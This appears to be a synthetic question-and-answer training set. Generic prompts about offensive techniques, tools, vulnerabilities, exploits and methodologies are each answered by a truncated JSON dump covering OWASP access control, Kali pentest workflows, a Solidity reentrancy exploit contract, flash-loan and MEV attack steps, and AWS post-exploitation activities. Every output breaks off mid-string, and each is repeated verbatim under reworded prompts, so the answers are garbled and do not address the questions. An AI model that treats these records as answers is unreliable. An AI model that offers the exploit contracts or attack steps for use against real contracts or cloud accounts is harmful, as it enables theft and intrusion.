Instruction: Answer question

Input: Explain offensive techniques

Output:
{
  "attack_vectors": {
    "owasp_top10_2021.json": [
      {
        "rank": 1,
        "id": "A01:2021",
        "name": "Broken Access Control",
        "description": "Access control enforces policy such that users cannot act outside of their intended permissions",
        "cwe_coverage": [
          "CWE-200",
          "CWE-201",
          "CWE-352",
          "CWE-359",
          "CWE-377",
          "CWE-402",
          "CWE-425",
          "CWE-441",
          "CWE-497",
          "CWE-538",
          "CWE-540",
          "CWE-548",
          "CWE-552",
          "CWE-566",
          "CWE-601",
          "CWE-639",
          "CWE-651",
          "CWE-668",
          "CWE-706",
          "CWE-862",
          "CWE-863",
          "CWE-913",
          "CWE-922",
          "CWE-1275"
        ],
        "attack_scenarios": [
          "Bypassing access control checks by modifying the URL, internal application state, or the HTML page",
          "Allowing the primary key to be changed to another user's record",
          "Elevation of privilege (acting as a user without being logged in or acting as an admin when logged in as a user)",
          "Metadata manipulation (replaying or tampering with JWT tokens, cookies, or hidden fields)",
          "CORS misconfiguration allows unauthorized API access",
          "Force browsing to authenticated pages as an unauthenticated user"
        ],
        "prevention": [
          "Except for public resources, deny by default",
          "Implement access control mechanisms once and re-use throughout the application",
          "Model access controls should enforce record ownership",
          "Disable web server directory listing",
          "Log access control failures and alert admins when appropriate",
          "Rate limit API and controller access"
        ],
        "example_code": "\n                // Vulnerable code - No access control\n                app.get('/admin/users/:id', (req, res) => {\n


Instruction: Answer question

Input: Tell me about offensive techniques

Output:
{
  "attack_vectors": {
    "owasp_top10_2021.json": [
      {
        "rank": 1,
        "id": "A01:2021",
        "name": "Broken Access Control",
        "description": "Access control enforces policy such that users cannot act outside of their intended permissions",
        "cwe_coverage": [
          "CWE-200",
          "CWE-201",
          "CWE-352",
          "CWE-359",
          "CWE-377",
          "CWE-402",
          "CWE-425",
          "CWE-441",
          "CWE-497",
          "CWE-538",
          "CWE-540",
          "CWE-548",
          "CWE-552",
          "CWE-566",
          "CWE-601",
          "CWE-639",
          "CWE-651",
          "CWE-668",
          "CWE-706",
          "CWE-862",
          "CWE-863",
          "CWE-913",
          "CWE-922",
          "CWE-1275"
        ],
        "attack_scenarios": [
          "Bypassing access control checks by modifying the URL, internal application state, or the HTML page",
          "Allowing the primary key to be changed to another user's record",
          "Elevation of privilege (acting as a user without being logged in or acting as an admin when logged in as a user)",
          "Metadata manipulation (replaying or tampering with JWT tokens, cookies, or hidden fields)",
          "CORS misconfiguration allows unauthorized API access",
          "Force browsing to authenticated pages as an unauthenticated user"
        ],
        "prevention": [
          "Except for public resources, deny by default",
          "Implement access control mechanisms once and re-use throughout the application",
          "Model access controls should enforce record ownership",
          "Disable web server directory listing",
          "Log access control failures and alert admins when appropriate",
          "Rate limit API and controller access"
        ],
        "example_code": "\n                // Vulnerable code - No access control\n                app.get('/admin/users/:id', (req, res) => {\n


Instruction: Answer question

Input: How does offensive techniques work?

Output:
{
  "attack_vectors": {
    "owasp_top10_2021.json": [
      {
        "rank": 1,
        "id": "A01:2021",
        "name": "Broken Access Control",
        "description": "Access control enforces policy such that users cannot act outside of their intended permissions",
        "cwe_coverage": [
          "CWE-200",
          "CWE-201",
          "CWE-352",
          "CWE-359",
          "CWE-377",
          "CWE-402",
          "CWE-425",
          "CWE-441",
          "CWE-497",
          "CWE-538",
          "CWE-540",
          "CWE-548",
          "CWE-552",
          "CWE-566",
          "CWE-601",
          "CWE-639",
          "CWE-651",
          "CWE-668",
          "CWE-706",
          "CWE-862",
          "CWE-863",
          "CWE-913",
          "CWE-922",
          "CWE-1275"
        ],
        "attack_scenarios": [
          "Bypassing access control checks by modifying the URL, internal application state, or the HTML page",
          "Allowing the primary key to be changed to another user's record",
          "Elevation of privilege (acting as a user without being logged in or acting as an admin when logged in as a user)",
          "Metadata manipulation (replaying or tampering with JWT tokens, cookies, or hidden fields)",
          "CORS misconfiguration allows unauthorized API access",
          "Force browsing to authenticated pages as an unauthenticated user"
        ],
        "prevention": [
          "Except for public resources, deny by default",
          "Implement access control mechanisms once and re-use throughout the application",
          "Model access controls should enforce record ownership",
          "Disable web server directory listing",
          "Log access control failures and alert admins when appropriate",
          "Rate limit API and controller access"
        ],
        "example_code": "\n                // Vulnerable code - No access control\n                app.get('/admin/users/:id', (req, res) => {\n


Instruction: Answer question

Input: Describe offensive techniques

Output:
{
  "attack_vectors": {
    "owasp_top10_2021.json": [
      {
        "rank": 1,
        "id": "A01:2021",
        "name": "Broken Access Control",
        "description": "Access control enforces policy such that users cannot act outside of their intended permissions",
        "cwe_coverage": [
          "CWE-200",
          "CWE-201",
          "CWE-352",
          "CWE-359",
          "CWE-377",
          "CWE-402",
          "CWE-425",
          "CWE-441",
          "CWE-497",
          "CWE-538",
          "CWE-540",
          "CWE-548",
          "CWE-552",
          "CWE-566",
          "CWE-601",
          "CWE-639",
          "CWE-651",
          "CWE-668",
          "CWE-706",
          "CWE-862",
          "CWE-863",
          "CWE-913",
          "CWE-922",
          "CWE-1275"
        ],
        "attack_scenarios": [
          "Bypassing access control checks by modifying the URL, internal application state, or the HTML page",
          "Allowing the primary key to be changed to another user's record",
          "Elevation of privilege (acting as a user without being logged in or acting as an admin when logged in as a user)",
          "Metadata manipulation (replaying or tampering with JWT tokens, cookies, or hidden fields)",
          "CORS misconfiguration allows unauthorized API access",
          "Force browsing to authenticated pages as an unauthenticated user"
        ],
        "prevention": [
          "Except for public resources, deny by default",
          "Implement access control mechanisms once and re-use throughout the application",
          "Model access controls should enforce record ownership",
          "Disable web server directory listing",
          "Log access control failures and alert admins when appropriate",
          "Rate limit API and controller access"
        ],
        "example_code": "\n                // Vulnerable code - No access control\n                app.get('/admin/users/:id', (req, res) => {\n


Instruction: Answer question

Input: What is tools and usage?

Output:
{
  "kali_tools": {
    "penetration_testing_methodologies.json": {
      "penetration_testing_phases": {
        "1_reconnaissance": {
          "description": "Information gathering about the target",
          "passive_recon": {
            "description": "Gathering information without direct interaction",
            "tools": [
              "theharvester",
              "shodan",
              "recon-ng",
              "maltego"
            ],
            "workflow": [
              "1. Start with OSINT using TheHarvester for emails/subdomains",
              "2. Use Shodan for exposed services",
              "3. Employ Recon-ng for comprehensive OSINT",
              "4. Map relationships with Maltego"
            ]
          },
          "active_recon": {
            "description": "Direct interaction with target systems",
            "tools": [
              "nmap",
              "masscan",
              "dnsenum",
              "fierce"
            ],
            "workflow": [
              "1. DNS enumeration with dnsenum/fierce",
              "2. Port scanning with Nmap for detailed info",
              "3. Use Masscan for large network ranges",
              "4. Service version detection with Nmap scripts"
            ]
          }
        },
        "2_scanning": {
          "description": "Identifying live systems, open ports, and services",
          "network_scanning": {
            "tools": [
              "nmap",
              "masscan",
              "unicornscan"
            ],
            "workflow": [
              "1. Ping sweep to identify live hosts",
              "2. Port scanning (TCP/UDP)",
              "3. Service enumeration",
              "4. OS fingerprinting"
            ]
          },
          "vulnerability_scanning": {
            "tools": [
              "openvas",
              "nessus",
              "nikto"
            ],
            "workflow": [
              "1. Configure vulnerability scanner",
              "2. Run


Instruction: Answer question

Input: Explain tools and usage

Output:
{
  "kali_tools": {
    "penetration_testing_methodologies.json": {
      "penetration_testing_phases": {
        "1_reconnaissance": {
          "description": "Information gathering about the target",
          "passive_recon": {
            "description": "Gathering information without direct interaction",
            "tools": [
              "theharvester",
              "shodan",
              "recon-ng",
              "maltego"
            ],
            "workflow": [
              "1. Start with OSINT using TheHarvester for emails/subdomains",
              "2. Use Shodan for exposed services",
              "3. Employ Recon-ng for comprehensive OSINT",
              "4. Map relationships with Maltego"
            ]
          },
          "active_recon": {
            "description": "Direct interaction with target systems",
            "tools": [
              "nmap",
              "masscan",
              "dnsenum",
              "fierce"
            ],
            "workflow": [
              "1. DNS enumeration with dnsenum/fierce",
              "2. Port scanning with Nmap for detailed info",
              "3. Use Masscan for large network ranges",
              "4. Service version detection with Nmap scripts"
            ]
          }
        },
        "2_scanning": {
          "description": "Identifying live systems, open ports, and services",
          "network_scanning": {
            "tools": [
              "nmap",
              "masscan",
              "unicornscan"
            ],
            "workflow": [
              "1. Ping sweep to identify live hosts",
              "2. Port scanning (TCP/UDP)",
              "3. Service enumeration",
              "4. OS fingerprinting"
            ]
          },
          "vulnerability_scanning": {
            "tools": [
              "openvas",
              "nessus",
              "nikto"
            ],
            "workflow": [
              "1. Configure vulnerability scanner",
              "2. Run


Instruction: Answer question

Input: Tell me about tools and usage

Output:
{
  "kali_tools": {
    "penetration_testing_methodologies.json": {
      "penetration_testing_phases": {
        "1_reconnaissance": {
          "description": "Information gathering about the target",
          "passive_recon": {
            "description": "Gathering information without direct interaction",
            "tools": [
              "theharvester",
              "shodan",
              "recon-ng",
              "maltego"
            ],
            "workflow": [
              "1. Start with OSINT using TheHarvester for emails/subdomains",
              "2. Use Shodan for exposed services",
              "3. Employ Recon-ng for comprehensive OSINT",
              "4. Map relationships with Maltego"
            ]
          },
          "active_recon": {
            "description": "Direct interaction with target systems",
            "tools": [
              "nmap",
              "masscan",
              "dnsenum",
              "fierce"
            ],
            "workflow": [
              "1. DNS enumeration with dnsenum/fierce",
              "2. Port scanning with Nmap for detailed info",
              "3. Use Masscan for large network ranges",
              "4. Service version detection with Nmap scripts"
            ]
          }
        },
        "2_scanning": {
          "description": "Identifying live systems, open ports, and services",
          "network_scanning": {
            "tools": [
              "nmap",
              "masscan",
              "unicornscan"
            ],
            "workflow": [
              "1. Ping sweep to identify live hosts",
              "2. Port scanning (TCP/UDP)",
              "3. Service enumeration",
              "4. OS fingerprinting"
            ]
          },
          "vulnerability_scanning": {
            "tools": [
              "openvas",
              "nessus",
              "nikto"
            ],
            "workflow": [
              "1. Configure vulnerability scanner",
              "2. Run


Instruction: Answer question

Input: How does tools and usage work?

Output:
{
  "kali_tools": {
    "penetration_testing_methodologies.json": {
      "penetration_testing_phases": {
        "1_reconnaissance": {
          "description": "Information gathering about the target",
          "passive_recon": {
            "description": "Gathering information without direct interaction",
            "tools": [
              "theharvester",
              "shodan",
              "recon-ng",
              "maltego"
            ],
            "workflow": [
              "1. Start with OSINT using TheHarvester for emails/subdomains",
              "2. Use Shodan for exposed services",
              "3. Employ Recon-ng for comprehensive OSINT",
              "4. Map relationships with Maltego"
            ]
          },
          "active_recon": {
            "description": "Direct interaction with target systems",
            "tools": [
              "nmap",
              "masscan",
              "dnsenum",
              "fierce"
            ],
            "workflow": [
              "1. DNS enumeration with dnsenum/fierce",
              "2. Port scanning with Nmap for detailed info",
              "3. Use Masscan for large network ranges",
              "4. Service version detection with Nmap scripts"
            ]
          }
        },
        "2_scanning": {
          "description": "Identifying live systems, open ports, and services",
          "network_scanning": {
            "tools": [
              "nmap",
              "masscan",
              "unicornscan"
            ],
            "workflow": [
              "1. Ping sweep to identify live hosts",
              "2. Port scanning (TCP/UDP)",
              "3. Service enumeration",
              "4. OS fingerprinting"
            ]
          },
          "vulnerability_scanning": {
            "tools": [
              "openvas",
              "nessus",
              "nikto"
            ],
            "workflow": [
              "1. Configure vulnerability scanner",
              "2. Run


Instruction: Answer question

Input: Describe tools and usage

Output:
{
  "kali_tools": {
    "penetration_testing_methodologies.json": {
      "penetration_testing_phases": {
        "1_reconnaissance": {
          "description": "Information gathering about the target",
          "passive_recon": {
            "description": "Gathering information without direct interaction",
            "tools": [
              "theharvester",
              "shodan",
              "recon-ng",
              "maltego"
            ],
            "workflow": [
              "1. Start with OSINT using TheHarvester for emails/subdomains",
              "2. Use Shodan for exposed services",
              "3. Employ Recon-ng for comprehensive OSINT",
              "4. Map relationships with Maltego"
            ]
          },
          "active_recon": {
            "description": "Direct interaction with target systems",
            "tools": [
              "nmap",
              "masscan",
              "dnsenum",
              "fierce"
            ],
            "workflow": [
              "1. DNS enumeration with dnsenum/fierce",
              "2. Port scanning with Nmap for detailed info",
              "3. Use Masscan for large network ranges",
              "4. Service version detection with Nmap scripts"
            ]
          }
        },
        "2_scanning": {
          "description": "Identifying live systems, open ports, and services",
          "network_scanning": {
            "tools": [
              "nmap",
              "masscan",
              "unicornscan"
            ],
            "workflow": [
              "1. Ping sweep to identify live hosts",
              "2. Port scanning (TCP/UDP)",
              "3. Service enumeration",
              "4. OS fingerprinting"
            ]
          },
          "vulnerability_scanning": {
            "tools": [
              "openvas",
              "nessus",
              "nikto"
            ],
            "workflow": [
              "1. Configure vulnerability scanner",
              "2. Run


Instruction: Answer question

Input: What is vulnerabilities?

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Explain vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Tell me about vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: How does vulnerabilities work?

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Describe vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: What is exploits?

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Explain exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Tell me about exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: How does exploits work?

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Describe exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: What is methodologies?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Explain methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
